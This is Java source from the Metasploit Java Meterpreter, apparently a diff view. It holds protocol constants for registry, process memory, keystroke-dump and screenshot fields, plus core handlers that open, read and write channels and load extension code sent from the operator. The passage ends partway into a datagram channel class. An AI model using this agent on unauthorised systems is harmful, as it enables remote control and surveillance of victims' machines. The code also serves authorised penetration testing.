public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504;
public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
// Registry
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_UINT | 1000;
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003;
public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010;
public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011;
public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012;
// Config
public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040;
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
// Process
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2000;
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2005;
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300;
public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301;
public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302;
public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303;
public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304;
public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305;
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2403;
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_UINT | 2404;
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_UINT | 2511;
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_UINT | 2512;
public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541;
public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542;
public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550;
// Ui
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
// Event Log
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 4001;
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;
public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004;
public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006;
public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007;
public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008;
public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009;
public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010;
public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011;
public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012;
public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013;
// Power
public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100;
public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101;
// Screenshot
public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011;
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012;
}

View File

@ -0,0 +1,38 @@
package com.metasploit.meterpreter.command;
import com.metasploit.meterpreter.CommandManager;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
/**
* A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(String, Class)} command.
*
* @author mihi
*/
public interface Command {
/**
* Status code representing a successful run of the command.
*/
public static final int ERROR_SUCCESS = 0;
/**
* Status code representing a failed run of the command.
*/
public static final int ERROR_FAILURE = 1;
/**
* Execute this command.
*
* @param request
* request packet
* @param response
* response packet
* @param errorStream
* Stream to write errors to
* @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE})
* @throws any
* exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
*/
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
}

View File

@ -0,0 +1,174 @@
package com.metasploit.meterpreter.command;
import java.io.PrintStream;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
/**
* A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}.
*
* @author mihi
*/
public class NotYetImplementedCommand implements Command {
public static final NotYetImplementedCommand INSTANCE = new NotYetImplementedCommand();
private Map/* <Integer,String> */typeNames = new HashMap();
private NotYetImplementedCommand() {
typeNames.put(new Integer(TLVType.TLV_TYPE_ANY), "TLV_TYPE_ANY");
typeNames.put(new Integer(TLVType.TLV_TYPE_METHOD), "TLV_TYPE_METHOD");
typeNames.put(new Integer(TLVType.TLV_TYPE_REQUEST_ID), "TLV_TYPE_REQUEST_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION), "TLV_TYPE_EXCEPTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_RESULT), "TLV_TYPE_RESULT");
typeNames.put(new Integer(TLVType.TLV_TYPE_STRING), "TLV_TYPE_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_UINT), "TLV_TYPE_UINT");
typeNames.put(new Integer(TLVType.TLV_TYPE_BOOL), "TLV_TYPE_BOOL");
typeNames.put(new Integer(TLVType.TLV_TYPE_LENGTH), "TLV_TYPE_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DATA), "TLV_TYPE_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_FLAGS), "TLV_TYPE_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_ID), "TLV_TYPE_CHANNEL_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_TYPE), "TLV_TYPE_CHANNEL_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA), "TLV_TYPE_CHANNEL_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA_GROUP), "TLV_TYPE_CHANNEL_DATA_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_CLASS), "TLV_TYPE_CHANNEL_CLASS");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_WHENCE), "TLV_TYPE_SEEK_WHENCE");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_OFFSET), "TLV_TYPE_SEEK_OFFSET");
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_POS), "TLV_TYPE_SEEK_POS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_CODE), "TLV_TYPE_EXCEPTION_CODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_STRING), "TLV_TYPE_EXCEPTION_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_LIBRARY_PATH), "TLV_TYPE_LIBRARY_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_TARGET_PATH), "TLV_TYPE_TARGET_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_PID), "TLV_TYPE_MIGRATE_PID");
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_LEN), "TLV_TYPE_MIGRATE_LEN");
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_NAME), "TLV_TYPE_CIPHER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_PARAMETERS), "TLV_TYPE_CIPHER_PARAMETERS");
typeNames.put(new Integer(TLVType.TLV_TYPE_HANDLE), "TLV_TYPE_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_INHERIT), "TLV_TYPE_INHERIT");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_HANDLE), "TLV_TYPE_PROCESS_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_HANDLE), "TLV_TYPE_THREAD_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_DIRECTORY_PATH), "TLV_TYPE_DIRECTORY_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_NAME), "TLV_TYPE_FILE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_PATH), "TLV_TYPE_FILE_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_MODE), "TLV_TYPE_FILE_MODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_HOST), "TLV_TYPE_PEER_HOST");
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_PORT), "TLV_TYPE_PEER_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_HOST), "TLV_TYPE_LOCAL_HOST");
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_PORT), "TLV_TYPE_LOCAL_PORT");
typeNames.put(new Integer(TLVType.TLV_TYPE_CONNECT_RETRIES), "TLV_TYPE_CONNECT_RETRIES");
typeNames.put(new Integer(TLVType.TLV_TYPE_SHUTDOWN_HOW), "TLV_TYPE_SHUTDOWN_HOW");
typeNames.put(new Integer(TLVType.TLV_TYPE_HKEY), "TLV_TYPE_HKEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_ROOT_KEY), "TLV_TYPE_ROOT_KEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_KEY), "TLV_TYPE_BASE_KEY");
typeNames.put(new Integer(TLVType.TLV_TYPE_PERMISSION), "TLV_TYPE_PERMISSION");
typeNames.put(new Integer(TLVType.TLV_TYPE_KEY_NAME), "TLV_TYPE_KEY_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_NAME), "TLV_TYPE_VALUE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_TYPE), "TLV_TYPE_VALUE_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_DATA), "TLV_TYPE_VALUE_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_COMPUTER_NAME), "TLV_TYPE_COMPUTER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_OS_NAME), "TLV_TYPE_OS_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_USER_NAME), "TLV_TYPE_USER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_ADDRESS), "TLV_TYPE_BASE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOCATION_TYPE), "TLV_TYPE_ALLOCATION_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROTECTION), "TLV_TYPE_PROTECTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PERMS), "TLV_TYPE_PROCESS_PERMS");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_MEMORY), "TLV_TYPE_PROCESS_MEMORY");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_BASE_ADDRESS), "TLV_TYPE_ALLOC_BASE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_STATE), "TLV_TYPE_MEMORY_STATE");
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_TYPE), "TLV_TYPE_MEMORY_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_PROTECTION), "TLV_TYPE_ALLOC_PROTECTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_PID), "TLV_TYPE_PID");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_NAME), "TLV_TYPE_PROCESS_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PATH), "TLV_TYPE_PROCESS_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_GROUP), "TLV_TYPE_PROCESS_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_FLAGS), "TLV_TYPE_PROCESS_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_ARGUMENTS), "TLV_TYPE_PROCESS_ARGUMENTS");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE), "TLV_TYPE_IMAGE_FILE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE_PATH), "TLV_TYPE_IMAGE_FILE_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_NAME), "TLV_TYPE_PROCEDURE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_ADDRESS), "TLV_TYPE_PROCEDURE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_BASE), "TLV_TYPE_IMAGE_BASE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_GROUP), "TLV_TYPE_IMAGE_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_NAME), "TLV_TYPE_IMAGE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_ID), "TLV_TYPE_THREAD_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_PERMS), "TLV_TYPE_THREAD_PERMS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXIT_CODE), "TLV_TYPE_EXIT_CODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_POINT), "TLV_TYPE_ENTRY_POINT");
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_PARAMETER), "TLV_TYPE_ENTRY_PARAMETER");
typeNames.put(new Integer(TLVType.TLV_TYPE_CREATION_FLAGS), "TLV_TYPE_CREATION_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_NAME), "TLV_TYPE_REGISTER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_SIZE), "TLV_TYPE_REGISTER_SIZE");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_VALUE_32), "TLV_TYPE_REGISTER_VALUE_32");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER), "TLV_TYPE_REGISTER");
typeNames.put(new Integer(TLVType.TLV_TYPE_IDLE_TIME), "TLV_TYPE_IDLE_TIME");
typeNames.put(new Integer(TLVType.TLV_TYPE_KEYS_DUMP), "TLV_TYPE_KEYS_DUMP");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP), "TLV_TYPE_DESKTOP");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_SOURCENAME), "TLV_TYPE_EVENT_SOURCENAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_HANDLE), "TLV_TYPE_EVENT_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_NUMRECORDS), "TLV_TYPE_EVENT_NUMRECORDS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_READFLAGS), "TLV_TYPE_EVENT_READFLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDOFFSET), "TLV_TYPE_EVENT_RECORDOFFSET");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDNUMBER), "TLV_TYPE_EVENT_RECORDNUMBER");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEGENERATED), "TLV_TYPE_EVENT_TIMEGENERATED");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEWRITTEN), "TLV_TYPE_EVENT_TIMEWRITTEN");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_ID), "TLV_TYPE_EVENT_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TYPE), "TLV_TYPE_EVENT_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_CATEGORY), "TLV_TYPE_EVENT_CATEGORY");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_STRING), "TLV_TYPE_EVENT_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_DATA), "TLV_TYPE_EVENT_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_FLAGS), "TLV_TYPE_POWER_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_REASON), "TLV_TYPE_POWER_REASON");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT), "TLV_TYPE_DESKTOP_SCREENSHOT");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY), "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER");
}
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getErrorStream().println("Unknown request detected:");
dumpTLV(meterpreter.getErrorStream(), request);
return ERROR_FAILURE;
}
private void dumpTLV(PrintStream errorStream, TLVPacket request) {
for (Iterator it = request.getTypeOrder().iterator(); it.hasNext();) {
int type = ((Integer) it.next()).intValue();
int restType = type;
String typePrefix = "";
if ((type & TLVPacket.TLV_META_TYPE_COMPRESSED) != 0) {
typePrefix = "Compressed ";
restType ^= TLVPacket.TLV_META_TYPE_COMPRESSED;
}
String typeName = (String) typeNames.get(new Integer(restType));
Object typeValue = request.getValue(type);
if (typeName == null)
typeName = "0x" + Integer.toHexString(type).toUpperCase();
if (typeValue instanceof byte[]) {
typeValue = "(raw data, " + ((byte[]) typeValue).length + " bytes)";
}
errorStream.println("\t" + typePrefix + typeName + " = " + typeValue);
}
}
}

View File

@ -0,0 +1,34 @@
package com.metasploit.meterpreter.command;
import com.metasploit.meterpreter.ExtensionLoader;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
/**
* A command that represents a command that is implemented, but not for the current Java version.
*
* @author mihi
*/
public class UnsupportedJavaVersionCommand implements Command {
private final String command;
private final int version;
/**
* Create a new instance of that command.
*
* @param command
* Name of the command
* @param version
* Version required
*/
public UnsupportedJavaVersionCommand(String command, int version) {
this.command = command;
this.version = version;
}
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getErrorStream().println("Command " + command + " requires at least Java 1." + (version - ExtensionLoader.V1_2 + 2));
return ERROR_FAILURE;
}
}

View File

@ -0,0 +1,22 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.CommandManager;
import com.metasploit.meterpreter.ExtensionLoader;
/**
* Loader class to register all the core commands.
*
* @author mihi
*/
public class Loader implements ExtensionLoader {
public void load(CommandManager mgr) throws Exception {
mgr.registerCommand("core_channel_close", core_channel_close.class);
mgr.registerCommand("core_channel_eof", core_channel_eof.class);
mgr.registerCommand("core_channel_interact", core_channel_interact.class);
mgr.registerCommand("core_channel_open", core_channel_open.class);
mgr.registerCommand("core_channel_read", core_channel_read.class);
mgr.registerCommand("core_channel_write", core_channel_write.class);
mgr.registerCommand("core_loadlib", core_loadlib.class);
}
}

View File

@ -0,0 +1,16 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_close implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), false);
if (c != null)
c.close();
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,21 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_eof implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int id = request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID);
if (id == 0) {
response.add(TLVType.TLV_TYPE_BOOL, false);
} else {
Channel c = meterpreter.getChannel(id, true);
response.add(TLVType.TLV_TYPE_BOOL, c.isEOF());
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,22 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_interact implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
// True means start interacting, False means stop
boolean toggle = request.getBooleanValue(TLVType.TLV_TYPE_BOOL);
if (toggle) {
channel.startInteract();
} else {
channel.stopInteract();
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,15 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_open implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE);
Command channelCreator = meterpreter.getCommandManager().getCommand("channel_create_" + channelType);
return channelCreator.execute(meterpreter, request, response);
}
}

View File

@ -0,0 +1,20 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_read implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
byte[] data = channel.read(len);
if (data == null)
return ERROR_FAILURE;
response.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,19 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_channel_write implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
byte[] data = request.getRawValue(TLVType.TLV_TYPE_CHANNEL_DATA);
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
c.write(data, len, request);
response.add(TLVType.TLV_TYPE_LENGTH, len);
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,15 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class core_loadlib implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
meterpreter.loadExtension(data);
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,96 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.SocketException;
/**
* A channel for a {@link DatagramSocket}.
*
* @author mihi
*/
public class DatagramSocketChannel extends Channel {
private final DatagramSocket datagramSocket;
private boolean closed = false;
